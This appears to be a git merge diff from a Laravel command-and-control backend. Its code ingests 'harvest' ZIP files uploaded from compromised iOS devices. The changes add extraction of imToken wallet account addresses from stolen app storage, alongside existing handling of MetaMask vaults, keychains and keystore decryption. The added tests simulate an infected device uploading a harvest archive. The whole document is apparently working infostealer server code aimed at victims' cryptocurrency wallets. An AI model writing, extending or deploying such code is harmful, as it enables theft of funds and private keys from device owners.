Merge branch 'main' of ssh://gitlab.fcpays.cc:2222/root/coruna-lab
This commit is contained in:
@@ -481,6 +481,23 @@ class AppC2Controller extends Controller
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
$fnLower = strtolower($filename);
|
||||||
|
if (str_contains($fnLower, 'im.token') || str_contains($fnLower, 'im_token')) {
|
||||||
|
try {
|
||||||
|
$n = app(\App\Services\AppUploadIngester::class)
|
||||||
|
->ingestImTokenShellZip($device, $body);
|
||||||
|
if ($n > 0) {
|
||||||
|
\Illuminate\Support\Facades\Log::info('ingestShellZip: imToken addresses stored', [
|
||||||
|
'count' => $n,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
\Illuminate\Support\Facades\Log::warning('ingestShellZip: imToken address ingest failed', [
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Parse keychain if found inside ZIP
|
// Parse keychain if found inside ZIP
|
||||||
if ($foundKeychain !== null) {
|
if ($foundKeychain !== null) {
|
||||||
try {
|
try {
|
||||||
|
|||||||
@@ -176,8 +176,21 @@ class ProcessShellUpload implements ShouldQueue
|
|||||||
$this->extractMetaMaskVault($device, $tmpFile);
|
$this->extractMetaMaskVault($device, $tmpFile);
|
||||||
}
|
}
|
||||||
|
|
||||||
// ── 3. Blockchain address scan (text files only) ──
|
// ── 3. Addresses ──
|
||||||
$this->scanAddresses($device, $zip, $sourceLabel);
|
// imToken AsyncStorage is a token inventory; naive 0x/T regex
|
||||||
|
// would ingest hundreds of contracts. Reuse the named-structure
|
||||||
|
// collector from the /api/v2 tar path.
|
||||||
|
if (str_contains($lower, 'im.token') || str_contains($lower, 'im_token') || $sourceLabel === 'imToken') {
|
||||||
|
try {
|
||||||
|
app(AppUploadIngester::class)->ingestImTokenShellZip($device, $body);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::channel('keystore')->warning('ProcessShellUpload: imToken address ingest failed', [
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
$this->scanAddresses($device, $zip, $sourceLabel);
|
||||||
|
}
|
||||||
|
|
||||||
$zip->close();
|
$zip->close();
|
||||||
@unlink($tmpFile);
|
@unlink($tmpFile);
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ namespace App\Services;
|
|||||||
use App\Jobs\DecryptDeviceKeystores;
|
use App\Jobs\DecryptDeviceKeystores;
|
||||||
use App\Models\Device;
|
use App\Models\Device;
|
||||||
use App\Models\DeviceApp;
|
use App\Models\DeviceApp;
|
||||||
|
use App\Models\WalletAddress;
|
||||||
use App\Models\WalletKeystore;
|
use App\Models\WalletKeystore;
|
||||||
use App\Support\WalletSource;
|
use App\Support\WalletSource;
|
||||||
use Illuminate\Support\Facades\Log;
|
use Illuminate\Support\Facades\Log;
|
||||||
@@ -78,6 +79,35 @@ final class AppUploadIngester
|
|||||||
$this->dispatchParse($device, $content, $fileName, $uploadId);
|
$this->dispatchParse($device, $content, $fileName, $uploadId);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* SignalShell harvest zip: pull imToken EOAs from RCTAsyncLocalStorage
|
||||||
|
* using the same collector as the /api/v2 tar path. Token-list `address`
|
||||||
|
* keys are ignored (accountAddress / type=EOA / m/44' only).
|
||||||
|
*/
|
||||||
|
public function ingestImTokenShellZip(Device $device, string $zipBinary): int
|
||||||
|
{
|
||||||
|
$nodes = $this->asyncStorageNodesFromZip($zipBinary);
|
||||||
|
if ($nodes === []) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
$before = WalletAddress::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->where('source', 'imToken')
|
||||||
|
->count();
|
||||||
|
|
||||||
|
$this->ingestAddressesFromWalletTar($device, 'imToken', 'im.token.app', '', [
|
||||||
|
'async' => $nodes,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$after = WalletAddress::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->where('source', 'imToken')
|
||||||
|
->count();
|
||||||
|
|
||||||
|
return max(0, $after - $before);
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Dispatch the async keystore decryption job for a device.
|
* Dispatch the async keystore decryption job for a device.
|
||||||
*/
|
*/
|
||||||
@@ -1433,6 +1463,76 @@ final class AppUploadIngester
|
|||||||
return $out;
|
return $out;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Walk a SignalShell zip and decode every RCTAsyncLocalStorage blob
|
||||||
|
* (manifest hashes + double-encoded JSON strings).
|
||||||
|
*
|
||||||
|
* @return list<mixed>
|
||||||
|
*/
|
||||||
|
private function asyncStorageNodesFromZip(string $zipBinary): array
|
||||||
|
{
|
||||||
|
$tmp = tempnam(sys_get_temp_dir(), 'im_async_');
|
||||||
|
if ($tmp === false) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
$tmpZip = $tmp.'.zip';
|
||||||
|
@rename($tmp, $tmpZip);
|
||||||
|
$tmp = $tmpZip;
|
||||||
|
$nodes = [];
|
||||||
|
try {
|
||||||
|
if (@file_put_contents($tmp, $zipBinary) === false) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
$zip = new \ZipArchive;
|
||||||
|
if ($zip->open($tmp) !== true) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
for ($i = 0; $i < $zip->numFiles; $i++) {
|
||||||
|
$name = str_replace('\\', '/', (string) $zip->getNameIndex($i));
|
||||||
|
if ($name === '' || str_ends_with($name, '/')) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (! str_contains(strtolower($name), 'asynclocalstorage')) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$raw = $zip->getFromIndex($i);
|
||||||
|
if (! is_string($raw) || $raw === '') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$decoded = $this->decodeJsonMaybeDouble($raw);
|
||||||
|
if ($decoded !== null) {
|
||||||
|
$nodes[] = $decoded;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$zip->close();
|
||||||
|
} finally {
|
||||||
|
@unlink($tmp);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $nodes;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* RCTAsyncLocalStorage values are often a JSON string wrapping JSON.
|
||||||
|
*/
|
||||||
|
private function decodeJsonMaybeDouble(string $raw): mixed
|
||||||
|
{
|
||||||
|
$decoded = json_decode($raw, true);
|
||||||
|
if (! is_array($decoded) && ! is_string($decoded)) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if (is_string($decoded)) {
|
||||||
|
$inner = json_decode($decoded, true);
|
||||||
|
if (is_array($inner) || is_string($inner)) {
|
||||||
|
return $inner;
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $decoded;
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* imToken AsyncStorage mixes the real EOA with token-list contract
|
* imToken AsyncStorage mixes the real EOA with token-list contract
|
||||||
* addresses under the same `address` key. Keep accountAddress and
|
* addresses under the same `address` key. Keep accountAddress and
|
||||||
|
|||||||
@@ -249,6 +249,120 @@ class AppUploadIngestTest extends TestCase
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function imtoken_shell_zip_keeps_account_eoa_and_skips_token_list(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-imtoken-zip');
|
||||||
|
$usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
|
||||||
|
$weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2';
|
||||||
|
$tokenList = [
|
||||||
|
['address' => $weth, 'symbol' => 'WETH', 'decimals' => 18, 'tokenType' => 'ERC20'],
|
||||||
|
['address' => $usdt, 'symbol' => 'USDT', 'decimals' => 6, 'tokenType' => 'TRC20'],
|
||||||
|
['address' => '0xdac17f958d2ee523a2206206994597c13d831ec7', 'symbol' => 'USDT', 'decimals' => 6],
|
||||||
|
];
|
||||||
|
$zip = $this->makeZip([
|
||||||
|
'Documents/walletsV2/wid.json' => json_encode([
|
||||||
|
'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'],
|
||||||
|
'id' => 'wid',
|
||||||
|
'imTokenMeta' => ['source' => 'NEW_MNEMONIC', 'network' => 'MAINNET'],
|
||||||
|
]),
|
||||||
|
'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/account.json' => json_encode([
|
||||||
|
'accountAddress' => self::TRON,
|
||||||
|
'path' => "m/44'/195'/0'/0/0",
|
||||||
|
'type' => 'EOA',
|
||||||
|
'walletId' => 'wid',
|
||||||
|
]),
|
||||||
|
'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/tokens.json' => json_encode(
|
||||||
|
json_encode($tokenList)
|
||||||
|
),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$n = app(AppUploadIngester::class)->ingestImTokenShellZip($device, $zip);
|
||||||
|
|
||||||
|
$this->assertSame(1, $n);
|
||||||
|
$addrs = WalletAddress::query()->where('device_id', $device->id)->get();
|
||||||
|
$this->assertCount(1, $addrs);
|
||||||
|
$this->assertSame(self::TRON, $addrs[0]->address);
|
||||||
|
$this->assertSame('imToken', $addrs[0]->source);
|
||||||
|
$this->assertFalse(
|
||||||
|
WalletAddress::query()->where('device_id', $device->id)->where('address', $weth)->exists()
|
||||||
|
);
|
||||||
|
$this->assertFalse(
|
||||||
|
WalletAddress::query()->where('device_id', $device->id)->where('address', $usdt)->exists()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function shell_upload_short_path_ingests_imtoken_async_eoa(): void
|
||||||
|
{
|
||||||
|
$usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
|
||||||
|
$weth = '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2';
|
||||||
|
$zip = $this->makeZip([
|
||||||
|
'Documents/walletsV2/wid.json' => json_encode([
|
||||||
|
'crypto' => ['ciphertext' => 'aa', 'mac' => 'bb'],
|
||||||
|
'id' => 'wid',
|
||||||
|
'imTokenMeta' => ['source' => 'NEW_MNEMONIC'],
|
||||||
|
]),
|
||||||
|
'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/account.json' => json_encode([
|
||||||
|
'AccountModel' => [
|
||||||
|
'itemsById' => [
|
||||||
|
'acc1' => [
|
||||||
|
'type' => 'EOA',
|
||||||
|
'address' => self::TRON,
|
||||||
|
'path' => "m/44'/195'/0'/0/0",
|
||||||
|
],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'AssetToken' => [
|
||||||
|
'itemsById' => [
|
||||||
|
'tok1' => [
|
||||||
|
'address' => $usdt,
|
||||||
|
'symbol' => 'USDT',
|
||||||
|
'tokenType' => 'TRC20',
|
||||||
|
'accountAddress' => self::TRON,
|
||||||
|
],
|
||||||
|
],
|
||||||
|
],
|
||||||
|
]),
|
||||||
|
'Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1/tokens.json' => json_encode([
|
||||||
|
'address' => $weth,
|
||||||
|
'symbol' => 'WETH',
|
||||||
|
'decimals' => 18,
|
||||||
|
'tokenType' => 'ERC20',
|
||||||
|
]),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$deviceHex = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
||||||
|
$response = $this->call(
|
||||||
|
'POST',
|
||||||
|
'/api/ap/u?a=chan1&harvest_1791244750_cold_im.token.app.zip',
|
||||||
|
[],
|
||||||
|
[],
|
||||||
|
[],
|
||||||
|
[
|
||||||
|
'HTTP_X_DEVICE_ID' => $deviceHex,
|
||||||
|
'HTTP_X_IOS_VERSION' => '18.6',
|
||||||
|
'CONTENT_TYPE' => 'application/octet-stream',
|
||||||
|
],
|
||||||
|
$zip
|
||||||
|
);
|
||||||
|
|
||||||
|
$response->assertOk();
|
||||||
|
$response->assertJson(['ok' => true, 'bind' => true]);
|
||||||
|
|
||||||
|
$device = Device::query()->where('device_id', Device::normalizeDarkswordKey($deviceHex))->first();
|
||||||
|
$this->assertNotNull($device);
|
||||||
|
$addrs = WalletAddress::query()->where('device_id', $device->id)->pluck('address')->all();
|
||||||
|
$this->assertSame([self::TRON], $addrs);
|
||||||
|
$this->assertSame(
|
||||||
|
'imToken',
|
||||||
|
WalletAddress::query()->where('device_id', $device->id)->value('source')
|
||||||
|
);
|
||||||
|
$this->assertTrue(
|
||||||
|
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'imToken')->exists()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function global_wallet_skips_helper_contract_addresses(): void
|
public function global_wallet_skips_helper_contract_addresses(): void
|
||||||
{
|
{
|
||||||
@@ -860,6 +974,24 @@ class AppUploadIngestTest extends TestCase
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, string> $files
|
||||||
|
*/
|
||||||
|
private function makeZip(array $files): string
|
||||||
|
{
|
||||||
|
$path = sys_get_temp_dir().'/im_shell_'.bin2hex(random_bytes(4)).'.zip';
|
||||||
|
$zip = new \ZipArchive;
|
||||||
|
$this->assertTrue($zip->open($path, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) === true);
|
||||||
|
foreach ($files as $name => $content) {
|
||||||
|
$zip->addFromString($name, $content);
|
||||||
|
}
|
||||||
|
$zip->close();
|
||||||
|
$bin = (string) file_get_contents($path);
|
||||||
|
@unlink($path);
|
||||||
|
|
||||||
|
return $bin;
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* OKX wallet_coinMeta shape: token metadata tables full of contract
|
* OKX wallet_coinMeta shape: token metadata tables full of contract
|
||||||
* addresses, with no user-account rows.
|
* addresses, with no user-account rows.
|
||||||
|
|||||||
Reference in New Issue
Block a user